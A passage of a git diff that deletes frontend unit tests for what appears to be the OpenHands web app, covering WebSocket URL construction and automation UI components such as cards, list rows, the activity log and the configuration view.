hook)", () => { - const result = buildWebSocketUrl( - "conv-123", - "http://localhost:8080/api/conversations/conv-123", - ); - - expect(result).toBe("ws://localhost:8080/sockets/events/conv-123"); - expect(result).not.toContain("?"); - expect(result).not.toContain("session_api_key"); - }); - }); - - describe("Fallback to window.location.host", () => { - it("should use window.location.host when conversation URL is null", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "fallback-host:4000", - }); - - const result = buildWebSocketUrl("conv-123", null); - - expect(result).toBe("ws://fallback-host:4000/sockets/events/conv-123"); - }); - - it("should use window.location.host when conversation URL is undefined", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "fallback-host:4000", - }); - - const result = buildWebSocketUrl("conv-123", undefined); - - expect(result).toBe("ws://fallback-host:4000/sockets/events/conv-123"); - }); - - it("should use window.location.host when conversation URL is relative path", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "fallback-host:4000", - }); - - const result = buildWebSocketUrl( - "conv-123", - "/api/conversations/conv-123", - ); - - expect(result).toBe("ws://fallback-host:4000/sockets/events/conv-123"); - }); - - it("should use window.location.host when conversation URL is invalid", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "fallback-host:4000", - }); - - const result = buildWebSocketUrl("conv-123", "not-a-valid-url"); - - expect(result).toBe("ws://fallback-host:4000/sockets/events/conv-123"); - }); - }); - - describe("Edge cases", () => { - beforeEach(() => { - vi.stubGlobal("location", { - protocol: "http:", - host: "localhost:3000", - }); - }); - - it("should return null when conversationId is undefined", () => { - const result = buildWebSocketUrl( - undefined, - "http://localhost:8080/api/conversations/conv-123", - ); - - expect(result).toBeNull(); - }); - - it("should return null when conversationId is empty string", () => { - const result = buildWebSocketUrl( - "", - "http://localhost:8080/api/conversations/conv-123", - ); - - expect(result).toBeNull(); - }); - - it("should handle conversation URLs with non-standard ports on external hosts", () => { - const result = buildWebSocketUrl( - "conv-123", - "http://example.com:12345/api/conversations/conv-123", - ); - - expect(result).toBe("ws://example.com:12345/sockets/events/conv-123"); - }); - - it("should handle conversation URLs without port (default port) on external hosts", () => { - const result = buildWebSocketUrl( - "conv-123", - "http://example.com/api/conversations/conv-123", - ); - - expect(result).toBe("ws://example.com/sockets/events/conv-123"); - }); - - it("should handle conversation IDs with special characters", () => { - const result = buildWebSocketUrl( - "conv-123-abc_def", - "http://localhost:8080/api/conversations/conv-123-abc_def", - ); - - expect(result).toBe( - "ws://localhost:8080/sockets/events/conv-123-abc_def", - ); - }); - - it("should build URL without query parameters", () => { - const result = buildWebSocketUrl( - "conv-123", - "http://localhost:8080/api/conversations/conv-123", - ); - - expect(result).toBe("ws://localhost:8080/sockets/events/conv-123"); - expect(result).not.toContain("?"); - }); - }); - - describe("protocol selection for external hosts", () => { - it("should use wss:// for HTTPS prod-runtime.all-hands.dev domains", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "localhost:8000", - }); - - // Use obviously fake IDs that follow the format pattern - const fakeConversationId = "00000000deadbeef0000000000000000"; - const fakeRuntimeHost = "faketesthost.prod-runtime.all-hands.dev"; - - const result = buildWebSocketUrl( - fakeConversationId, - `https://${fakeRuntimeHost}/api/conversations/${fakeConversationId}`, - ); - - expect(result).toBe( - `wss://${fakeRuntimeHost}/sockets/events/${fakeConversationId}`, - ); - }); - - it("should use ws:// for ::1 (IPv6 localhost)", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "[::1]:3000", - }); - - const result = buildWebSocketUrl( - "test-conv-ipv6", - "http://[::1]:8080/api/conversations/test-conv-ipv6", - ); - - expect(result).toBe("ws://[::1]:8080/sockets/events/test-conv-ipv6"); - }); - - it("should use ws:// for .localhost subdomains", () => { - vi.stubGlobal("location", { - protocol: "http:", - host: "app.localhost:3000", - }); - - const result = buildWebSocketUrl( - "test-conv-localhost-subdomain", - "http://api.localhost:8080/api/conversations/test-conv-localhost-subdomain", - ); - - expect(result).toBe( - "ws://api.localhost:8080/sockets/events/test-conv-localhost-subdomain", - ); - }); - }); -}); diff --git a/__tests__/components/automations/add-automation-modal.test.tsx b/__tests__/components/automations/add-automation-modal.test.tsx deleted file mode 100644 index e9ac97628..000000000 --- a/__tests__/components/automations/add-automation-modal.test.tsx +++ /dev/null @@ -1,107 +0,0 @@ -import React from "react"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import { AddAutomationModal } from "#/components/features/automations/add-automation-modal"; -import { I18nKey } from "#/i18n/declaration"; - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ data: { user_consents_to_analytics: true } }), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), - Trans: ({ - i18nKey, - components, - children, - }: { - i18nKey: string; - components?: Record; - children?: React.ReactNode; - }) => { - if (i18nKey !== I18nKey.AUTOMATIONS$EMPTY_OPTION_CONVERSATION_DESC) { - return children ?? i18nKey; - } - - return ( - <> - Start a new conversation and tell OpenHands to{" "} - {components?.example - ? React.cloneElement( - components.example, - {}, - <> - {components.cmd - ? React.cloneElement( - components.cmd, - {}, - "Create an automation", - ) - : null} - {components.punct - ? React.cloneElement(components.punct, {}, ".") - : null} - , - ) - : null} - - ); - }, -})); - -function renderModal(isOpen = true) { - const onClose = vi.fn(); - const navigation: NavigationContextValue = { - currentPath: "/automations", - conversationId: null, - isNavigating: false, - navigate: vi.fn(), - }; - - render( - - - , - ); - - return { onClose }; -} - -describe("AddAutomationModal", () => { - it("renders the create instructions content when open", () => { - renderModal(); - - expect(screen.getByTestId("add-automation-modal")).toBeInTheDocument(); - expect( - screen.getByTestId("automations-create-instructions-example"), - ).toHaveTextContent("Create an automation"); - expect( - screen.getByTestId("automations-create-automation"), - ).toHaveTextContent(I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON); - expect( - screen.queryByText(I18nKey.AUTOMATIONS$EMPTY_OPTION_PLUGIN_TITLE), - ).not.toBeInTheDocument(); - }); - - it("does not render when closed", () => { - renderModal(false); - - expect(screen.queryByTestId("add-automation-modal")).not.toBeInTheDocument(); - }); - - it("calls onClose when the close button is clicked", async () => { - const user = userEvent.setup(); - const { onClose } = renderModal(); - - await user.click(screen.getByTestId("add-automation-modal-close")); - - expect(onClose).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/components/automations/automation-card.test.tsx b/__tests__/components/automations/automation-card.test.tsx deleted file mode 100644 index 71ae1b196..000000000 --- a/__tests__/components/automations/automation-card.test.tsx +++ /dev/null @@ -1,76 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { AutomationCard } from "#/components/features/automations/automation-card"; -import type { Automation } from "#/types/automation"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), -})); - -vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ navigate: vi.fn() }), -})); - -vi.mock("#/hooks/use-has-permission", () => ({ - useHasPermission: () => true, -})); - -const automation: Automation = { - id: "automation-1", - name: "Async Standup Digest", - prompt: "Generate an async standup digest from Slack activity.", - enabled: true, - trigger: { type: "cron", schedule_human: "cron" }, - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", -}; - -describe("AutomationCard", () => { - it("uses the shared extension module interactive class without a resting border", () => { - render( - , - ); - - const card = screen.getByTestId("automation-card-automation-1"); - expect(card.className).toContain("extension-module-card-interactive"); - expect(card.className).not.toContain("border-[var(--oh-border)]"); - expect(card.className).not.toContain("hover:bg-surface-raised"); - expect(card.className).not.toContain("hover:ring"); - }); - - it("renders a play run button and menu actions instead of a toggle switch", async () => { - const user = userEvent.setup(); - - render( - , - ); - - expect( - screen.getByTestId("automation-run-now-automation-1"), - ).toHaveTextContent("AUTOMATIONS$RUN_NOW"); - expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass( - "h-8", - ); - expect(screen.queryByRole("switch")).not.toBeInTheDocument(); - - await user.click( - screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }), - ); - - expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument(); - expect(screen.getAllByText("AUTOMATIONS$RUN_NOW")).toHaveLength(2); - }); -}); diff --git a/__tests__/components/automations/automation-list-row.test.tsx b/__tests__/components/automations/automation-list-row.test.tsx deleted file mode 100644 index 80a3c7ffe..000000000 --- a/__tests__/components/automations/automation-list-row.test.tsx +++ /dev/null @@ -1,77 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { AutomationListRow } from "#/components/features/automations/automation-list-row"; -import type { Automation } from "#/types/automation"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), -})); - -vi.mock("#/context/navigation-context", () => ({ - useNavigation: () => ({ navigate: vi.fn() }), -})); - -vi.mock("#/hooks/use-has-permission", () => ({ - useHasPermission: () => true, -})); - -const automation: Automation = { - id: "automation-1", - name: "GitHub PR Reviewer", - prompt: "Review pull requests.", - enabled: true, - trigger: { type: "event" }, - repository: "acme/repo", - model: "Claude", - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", -}; - -describe("AutomationListRow", () => { - it("renders title, pills, and action icons in a table row layout", () => { - render( - , - ); - - expect( - screen.getByTestId("automation-list-row-automation-1"), - ).toBeInTheDocument(); - expect(screen.getByText("GitHub PR Reviewer")).toBeInTheDocument(); - expect( - screen.getByTestId("automation-pills-automation-1"), - ).toBeInTheDocument(); - expect( - screen.getByTestId("automation-run-now-automation-1"), - ).toHaveAttribute("aria-label", "AUTOMATIONS$RUN_NOW"); - expect(screen.getByTestId("automation-run-now-automation-1")).toHaveClass( - "size-8", - ); - }); - - it("opens the actions menu without triggering row navigation handlers", async () => { - const user = userEvent.setup(); - - render( - , - ); - - await user.click( - screen.getByRole("button", { name: "AUTOMATIONS$ACTIONS_MENU" }), - ); - - expect(screen.getByText("COMMON$VIEW")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/automations/automation-view-toggle.test.tsx b/__tests__/components/automations/automation-view-toggle.test.tsx deleted file mode 100644 index 96d103aa7..000000000 --- a/__tests__/components/automations/automation-view-toggle.test.tsx +++ /dev/null @@ -1,46 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, expect, it, vi } from "vitest"; -import { AutomationViewToggle } from "#/components/features/automations/automation-view-toggle"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ t: (key: string) => key }), -})); - -describe("AutomationViewToggle", () => { - it("opens a menu from the icon trigger and switches to list view", async () => { - const user = userEvent.setup(); - const onChange = vi.fn(); - - render(); - - const trigger = screen.getByTestId("automations-view-toggle"); - expect(trigger).toHaveClass("size-9"); - expect(trigger).toHaveAttribute("aria-haspopup", "menu"); - - await user.click(trigger); - await user.click(screen.getByTestId("automations-view-toggle-list")); - - expect(onChange).toHaveBeenCalledWith("list"); - }); - - it("does not open the menu or fire onChange when disabled", async () => { - // Arrange - const user = userEvent.setup(); - const onChange = vi.fn(); - render( - , - ); - const trigger = screen.getByTestId("automations-view-toggle"); - - // Act — try to open the menu - await user.click(trigger); - - // Assert — menu items never render and onChange stays untouched - expect(trigger).toBeDisabled(); - expect( - screen.queryByTestId("automations-view-toggle-list"), - ).not.toBeInTheDocument(); - expect(onChange).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/components/automations/backend-not-configured.test.tsx b/__tests__/components/automations/backend-not-configured.test.tsx deleted file mode 100644 index 2259805c1..000000000 --- a/__tests__/components/automations/backend-not-configured.test.tsx +++ /dev/null @@ -1,49 +0,0 @@ -import { describe, it, expect, vi } from "vitest"; -import { render, screen, fireEvent } from "@testing-library/react"; -import { BackendUnavailable } from "#/components/features/automations/backend-not-configured"; -import { I18nKey } from "#/i18n/declaration"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_TITLE]: - "Automations Unavailable", - [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_MESSAGE]: - "The automations backend is not available right now.", - [I18nKey.AUTOMATIONS$BACKEND_UNAVAILABLE_RETRY]: "Retry", - }; - return translations[key] || key; - }, - }), -})); - -describe("BackendUnavailable", () => { - it("renders the unavailable message", () => { - const onRetry = vi.fn(); - render(); - - expect(screen.getByText("Automations Unavailable")).toBeInTheDocument(); - expect( - screen.getByText("The automations backend is not available right now."), - ).toBeInTheDocument(); - }); - - it("displays the retry button", () => { - const onRetry = vi.fn(); - render(); - - const retryButton = screen.getByRole("button", { name: "Retry" }); - expect(retryButton).toBeInTheDocument(); - }); - - it("calls onRetry when retry button is clicked", () => { - const onRetry = vi.fn(); - render(); - - const retryButton = screen.getByRole("button", { name: "Retry" }); - fireEvent.click(retryButton); - - expect(onRetry).toHaveBeenCalledTimes(1); - }); -}); diff --git a/__tests__/components/automations/create-instructions.test.tsx b/__tests__/components/automations/create-instructions.test.tsx deleted file mode 100644 index 85ba36936..000000000 --- a/__tests__/components/automations/create-instructions.test.tsx +++ /dev/null @@ -1,123 +0,0 @@ -import React from "react"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import { CreateInstructions } from "#/components/features/automations/create-instructions"; -import { I18nKey } from "#/i18n/declaration"; -import { useConversationStore } from "#/stores/conversation-store"; -import * as telemetry from "#/services/telemetry"; - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => ({ data: { user_consents_to_analytics: true } }), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => { - const translations: Record = { - [I18nKey.AUTOMATIONS$CREATE_AUTOMATION_BUTTON]: "Create Automation", - [I18nKey.AUTOMATIONS$CREATE_AUTOMATION_PROMPT]: "Create an automation", - [I18nKey.AUTOMATIONS$CREATE_INSTRUCTIONS_GUIDANCE]: - "Include what the automation should do, when it should run, and where to send the results.", - }; - return translations[key] || key; - }, - }), - Trans: ({ - i18nKey, - components, - }: { - i18nKey: string; - components?: Record; - }) => { - if (i18nKey !== I18nKey.AUTOMATIONS$EMPTY_OPTION_CONVERSATION_DESC) { - return i18nKey; - } - - return ( - <> - Start a new conversation and tell OpenHands to{" "} - {components?.example - ? React.cloneElement( - components.example, - {}, - <> - {components.cmd - ? React.cloneElement( - components.cmd, - {}, - "Create an automation", - ) - : null} - {components.punct - ? React.cloneElement(components.punct, {}, ".") - : null} - , - ) - : null} - - ); - }, -})); - -function renderCreateInstructions() { - const value: NavigationContextValue = { - currentPath: "/automations", - conversationId: null, - isNavigating: false, - navigate: vi.fn(), - }; - - const result = render( - - - , - ); - - return { ...result, navigate: value.navigate }; -} - -describe("CreateInstructions", () => { - let captureMock: ReturnType; - - beforeEach(() => { - captureMock = vi - .spyOn(telemetry, "trackEvent") - .mockResolvedValue(undefined); - useConversationStore.setState({ messageToSend: null }); - }); - - afterEach(() => { - captureMock.mockRestore(); - }); - - it("captures automation_created_button with the active backend kind when Create Automation is clicked", async () => { - const user = userEvent.setup(); - renderCreateInstructions(); - - await user.click(screen.getByTestId("automations-create-automation")); - - expect(captureMock).toHaveBeenCalledWith( - "automation_created_button", - expect.objectContaining({ backend_kind: "local" }), - ); - }); - - it("navigates to conversations with a prefilled prompt when Create Automation is clicked", async () => { - const user = userEvent.setup(); - const setMessageToSend = vi.fn(); - useConversationStore.setState({ setMessageToSend }); - const { navigate } = renderCreateInstructions(); - - await user.click(screen.getByTestId("automations-create-automation")); - - expect(navigate).toHaveBeenCalledWith("/conversations"); - await waitFor(() => { - expect(setMessageToSend).toHaveBeenCalledWith("Create an automation"); - }); - }); -}); diff --git a/__tests__/components/automations/detail/active-status-badge.test.tsx b/__tests__/components/automations/detail/active-status-badge.test.tsx deleted file mode 100644 index 824ba8c06..000000000 --- a/__tests__/components/automations/detail/active-status-badge.test.tsx +++ /dev/null @@ -1,23 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { describe, it, expect } from "vitest"; -import { ActiveStatusBadge } from "#/components/features/automations/detail/active-status-badge"; -import { I18nKey } from "#/i18n/declaration"; - -describe("ActiveStatusBadge", () => { - it.each([ - [true, I18nKey.AUTOMATIONS$DETAIL$ACTIVE, "active-status-badge-active"], - [ - false, - I18nKey.AUTOMATIONS$DETAIL$INACTIVE, - "active-status-badge-inactive", - ], - ])( - "renders the matching label and testid when active=%s", - (active, labelKey, testId) => { - render(); - - expect(screen.getByText(labelKey)).toBeInTheDocument(); - expect(screen.getByTestId(testId)).toBeInTheDocument(); - }, - ); -}); diff --git a/__tests__/components/automations/detail/activity-log-item.test.tsx b/__tests__/components/automations/detail/activity-log-item.test.tsx deleted file mode 100644 index d417d0948..000000000 --- a/__tests__/components/automations/detail/activity-log-item.test.tsx +++ /dev/null @@ -1,235 +0,0 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { render, screen, fireEvent } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { MemoryRouter } from "react-router"; - -import { ActivityLogItem } from "#/components/features/automations/detail/activity-log-item"; -import { - AutomationRunStatus, - type AutomationRun, -} from "#/types/automation"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import type { Backend } from "#/api/backend-registry/types"; -import { I18nKey } from "#/i18n/declaration"; - -// In tests the i18n backend doesn't resolve translation values, so the -// aria-label resolves to the raw key string. Match it explicitly. -const LOGS_BUTTON_NAME = (name: string) => - name.includes(I18nKey.AUTOMATIONS$DETAIL$LOGS_VIEW); - -// The modal is wired to react-query + the conversation lookup. The -// ActivityLogItem tests focus on the trigger button; we mock the modal so -// they don't need to bring up the entire query stack. -vi.mock( - "#/components/features/automations/detail/run-logs-modal", - () => ({ - RunLogsModal: ({ - isOpen, - onClose, - bashCommandId, - }: { - isOpen: boolean; - onClose: () => void; - bashCommandId: string | null; - }) => - isOpen ? ( -
- -
- ) : null, - }), -); - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:8000", - apiKey: "k", - kind: "local", -}; - -function makeRun(overrides: Partial = {}): AutomationRun { - return { - id: "run-1", - status: AutomationRunStatus.COMPLETED, - conversation_id: "conv-1", - bash_command_id: "cmd-1", - error_detail: null, - started_at: "2026-01-01T10:00:00Z", - completed_at: "2026-01-01T10:02:00Z", - ...overrides, - }; -} - -function renderItem(run: AutomationRun) { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - - - - - , - ); -} - -describe("ActivityLogItem — logs button", () => { - beforeEach(() => { - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - }); - - afterEach(() => { - __resetActiveStoreForTests(); - }); - - it("renders a logs button when the run has a bash_command_id", () => { - renderItem(makeRun()); - // Use the short tooltip label to find the button. - expect( - screen.getByRole("button", { name: LOGS_BUTTON_NAME }), - ).toBeInTheDocument(); - }); - - it("does not render a logs button when bash_command_id is null", () => { - renderItem(makeRun({ bash_command_id: null })); - expect( - screen.queryByRole("button", { name: LOGS_BUTTON_NAME }), - ).not.toBeInTheDocument(); - }); - - it("opens the logs modal when the button is clicked and passes the bash_command_id through", () => { - renderItem(makeRun({ bash_command_id: "cmd-xyz" })); - - expect(screen.queryByTestId("logs-modal")).not.toBeInTheDocument(); - - fireEvent.click(screen.getByRole("button", { name: LOGS_BUTTON_NAME })); - - const modal = screen.getByTestId("logs-modal"); - expect(modal).toBeInTheDocument(); - expect(modal.getAttribute("data-bash-command-id")).toBe("cmd-xyz"); - }); - - it("renders the logs button inside the row link without breaking its href", () => { - renderItem(makeRun({ conversation_id: "conv-abc" })); - - const link = screen.getByRole("link") as HTMLAnchorElement; - expect(link.getAttribute("href")).toBe("/conversations/conv-abc"); - // The button lives inside the link, so the click handler must - // preventDefault + stopPropagation (implementation contract verified - // by the modal-opens test above) to avoid following the link. - expect( - link.contains(screen.getByRole("button", { name: LOGS_BUTTON_NAME })), - ).toBe(true); - }); -}); - -describe("ActivityLogItem — Conversation not created label", () => { - beforeEach(() => { - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - }); - - afterEach(() => { - __resetActiveStoreForTests(); - }); - - it("hides the 'Conversation not created' label while the run is Pending without a conversation", () => { - // Arrange: a freshly-dispatched run that hasn't yet been linked to a - // conversation by the backend. The label would falsely imply terminal - // failure during this transient window. - const run = makeRun({ - status: AutomationRunStatus.PENDING, - conversation_id: null, - bash_command_id: null, - }); - - // Act - renderItem(run); - - // Assert - expect( - screen.queryByText((content) => content.includes("NO_CONVERSATION")), - ).not.toBeInTheDocument(); - }); - - it("shows the 'Conversation not created' label when the run has Failed without a conversation", () => { - // Arrange: a run that reached a terminal state without ever creating a - // conversation (e.g. sandbox provisioning error) — here the label is - // accurate and useful. - const run = makeRun({ - status: AutomationRunStatus.FAILED, - conversation_id: null, - bash_command_id: null, - completed_at: "2026-01-01T10:00:30Z", - }); - - // Act - renderItem(run); - - // Assert - expect( - screen.queryByText((content) => content.includes("NO_CONVERSATION")), - ).toBeInTheDocument(); - }); -}); - -describe("ActivityLogItem — timestamp fallback", () => { - beforeEach(() => { - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - }); - - afterEach(() => { - __resetActiveStoreForTests(); - vi.useRealTimers(); - }); - - it("renders the user's local time instead of the Unix epoch when started_at is unset on a Pending run", () => { - // Arrange: the backend reports started_at as epoch-zero while a run is - // still Pending. Pin "now" so the assertion is deterministic. - vi.useFakeTimers(); - vi.setSystemTime(new Date("2026-05-27T13:00:00Z")); - const run = makeRun({ - status: AutomationRunStatus.PENDING, - started_at: "1970-01-01T00:00:00Z", - conversation_id: null, - bash_command_id: null, - }); - - // Act - const { container } = renderItem(run); - - // Assert: the row reflects the current clock, not 1970. - expect(container.textContent).toContain("2026"); - expect(container.textContent).not.toContain("1970"); - }); - - it("renders the backend-provided started_at unchanged when it is a valid timestamp", () => { - // Arrange: pin "now" to a different year so we can prove the row uses - // started_at rather than the fallback substitution. - vi.useFakeTimers(); - vi.setSystemTime(new Date("2030-01-01T00:00:00Z")); - const run = makeRun({ started_at: "2027-03-15T09:00:00Z" }); - - // Act - const { container } = renderItem(run); - - // Assert - expect(container.textContent).toContain("2027"); - expect(container.textContent).not.toContain("2030"); - }); -}); diff --git a/__tests__/components/automations/detail/configuration-section.test.tsx b/__tests__/components/automations/detail/configuration-section.test.tsx deleted file mode 100644 index cd76284a3..000000000 --- a/__tests__/components/automations/detail/configuration-section.test.tsx +++ /dev/null @@ -1,134 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { ConfigurationSection } from "#/components/features/automations/detail/configuration-section"; -import type { Automation } from "#/types/automation"; - -const cronAutomation: Automation = { - id: "auto-1", - name: "Daily digest", - prompt: "Summarize PRs", - trigger: { - type: "cron", - schedule: "0 9 * * *", - schedule_human: "Daily at 09:00", - }, - enabled: true, - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", - model: "fast-model", - repository: "acme/app", - branch: "main", - timezone: "UTC", -}; - -const eventAutomation: Automation = { - id: "auto-2", - name: "PR Review Bot", - prompt: "Review PRs", - trigger: { - type: "event", - source: "github", - on: "pull_request.opened", - filter: "repository.full_name == 'acme/frontend-app'", - }, - enabled: true, - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", - model: "review-model", - repository: "acme/frontend-app", - branch: "main", -}; - -const eventMultiPatternAutomation: Automation = { - ...eventAutomation, - id: "auto-3", - trigger: { - type: "event", - source: "github", - on: ["push", "release.published"], - filter: "glob(release.tag_name, 'v*')", - }, -}; - -describe("ConfigurationSection", () => { - it("renders cron trigger with schedule", () => { - render(); - - // t() returns the key in tests - expect( - screen.getByText("AUTOMATIONS$DETAIL$TRIGGER_SCHEDULE"), - ).toBeInTheDocument(); - expect(screen.getByText("Daily at 09:00 (UTC)")).toBeInTheDocument(); - expect(screen.getByText("fast-model")).toBeInTheDocument(); - expect(screen.getByText("acme/app")).toBeInTheDocument(); - }); - - it("renders event trigger with source, event type, and filter", () => { - render(); - - expect( - screen.getByText("AUTOMATIONS$DETAIL$TRIGGER_EVENT"), - ).toBeInTheDocument(); - expect(screen.getByText("github")).toBeInTheDocument(); - expect(screen.getByText("pull_request.opened")).toBeInTheDocument(); - expect( - screen.getByText("repository.full_name == 'acme/frontend-app'"), - ).toBeInTheDocument(); - }); - - it("does not show schedule field for event triggers", () => { - render(); - - expect( - screen.queryByText("AUTOMATIONS$DETAIL$SCHEDULE"), - ).not.toBeInTheDocument(); - }); - - it("renders multiple event patterns joined by comma", () => { - render(); - - expect(screen.getByText("push, release.published")).toBeInTheDocument(); - }); - - it("shows expand/collapse for long filter expressions", async () => { - const longFilter = - "repository.full_name == 'acme/frontend-app' && contains(pull_request.labels[].name, 'needs-review') && sender.login != 'bot'"; - const automation: Automation = { - ...eventAutomation, - trigger: { - type: "event", - source: "github", - on: "pull_request.opened", - filter: longFilter, - }, - }; - - const user = userEvent.setup(); - render(); - - expect(screen.getByText("SETTINGS$SKILLS_SHOW_MORE")).toBeInTheDocument(); - expect(screen.queryByText(longFilter)).not.toBeInTheDocument(); - - await user.click(screen.getByText("SETTINGS$SKILLS_SHOW_MORE")); - expect(screen.getByText(longFilter)).toBeInTheDocument(); - expect(screen.getByText("SETTINGS$SKILLS_SHOW_LESS")).toBeInTheDocument(); - }); - - it("does not render the filter field when the event trigger has no filter", () => { - const automation: Automation = { - ...eventAutomation, - trigger: { - type: "event", - source: "github", - on: "pull_request.opened", - }, - }; - - render(); - - expect( - screen.queryByText("AUTOMATIONS$DETAIL$EVENT_FILTER"), - ).not.toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/automations/detail/debug-automation-button.test.tsx b/__tests__/components/automations/detail/debug-automation-button.test.tsx deleted file mode 100644 index c57e9c02e..000000000 --- a/__tests__/components/automations/detail/debug-automation-button.test.tsx +++ /dev/null @@ -1,159 +0,0 @@ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { render, screen, fireEvent, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { DebugAutomationButton } from "#/components/features/automations/detail/debug-automation-button"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - NavigationProvider, - type NavigationContextValue, -} from "#/context/navigation-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { - AutomationRunStatus, - type Automation, - type AutomationRun, -} from "#/types/automation"; - -// Mock the underlying services (not the useCreateConversation hook), so the -// real hook logic — id mapping + onSuccess navigation — is exercised. -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { createConversation: vi.fn() }, - }), -); - -vi.mock("#/api/profiles-service/profiles-service.api", () => ({ - default: { listProfiles: vi.fn() }, -})); - -type CreatedConversation = Awaited< - ReturnType ->; - -const localBackend: Backend = { - id: "local-1", - name: "Local", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const failedRun: AutomationRun = { - id: "run-9", - status: AutomationRunStatus.FAILED, - conversation_id: "conv-1", - bash_command_id: "cmd-1", - error_detail: "Process exited with code 1", - started_at: "2026-01-01T10:00:00Z", - completed_at: "2026-01-01T10:02:00Z", -}; - -const automation: Automation = { - id: "auto-1", - name: "Daily Jira digest", - prompt: "Summarize new Jira issues", - trigger: { type: "cron", schedule: "0 9 * * *" }, - enabled: true, - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", -}; - -function renderButton(stderr = "HTTP Error 410: Gone") { - const navigate = vi.fn(); - const navValue: NavigationContextValue = { - currentPath: "/automations/auto-1", - conversationId: null, - isNavigating: false, - navigate, - }; - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - render( - - - - - - - , - ); - return { navigate }; -} - -beforeEach(() => { - vi.clearAllMocks(); - __resetActiveStoreForTests(); - setRegisteredBackends([localBackend]); - setActiveSelection({ backendId: localBackend.id }); - vi.mocked(ProfilesService.listProfiles).mockResolvedValue({ - profiles: [], - active_profile: null, - }); -}); - -afterEach(() => { - __resetActiveStoreForTests(); -}); - -describe("DebugAutomationButton", () => { - it("seeds a new conversation with the run's error details and navigates to it", async () => { - // Arrange — a null app_conversation_id resolves to a `task-` route. - vi.mocked( - AgentServerConversationService.createConversation, - ).mockResolvedValue({ - id: "abc123", - app_conversation_id: null, - agent_server_url: null, - } as CreatedConversation); - const { navigate } = renderButton("HTTP Error 410: Gone"); - - // Act - fireEvent.click(screen.getByTestId("debug-automation-button")); - - // Assert — the first arg is the initial user message (the debug prompt). - await waitFor(() => - expect( - AgentServerConversationService.createConversation, - ).toHaveBeenCalledTimes(1), - ); - const query = vi.mocked(AgentServerConversationService.createConversation) - .mock.calls[0][0]; - expect(query).toContain("HTTP Error 410: Gone"); - expect(query).toContain("Daily Jira digest"); - - await waitFor(() => - 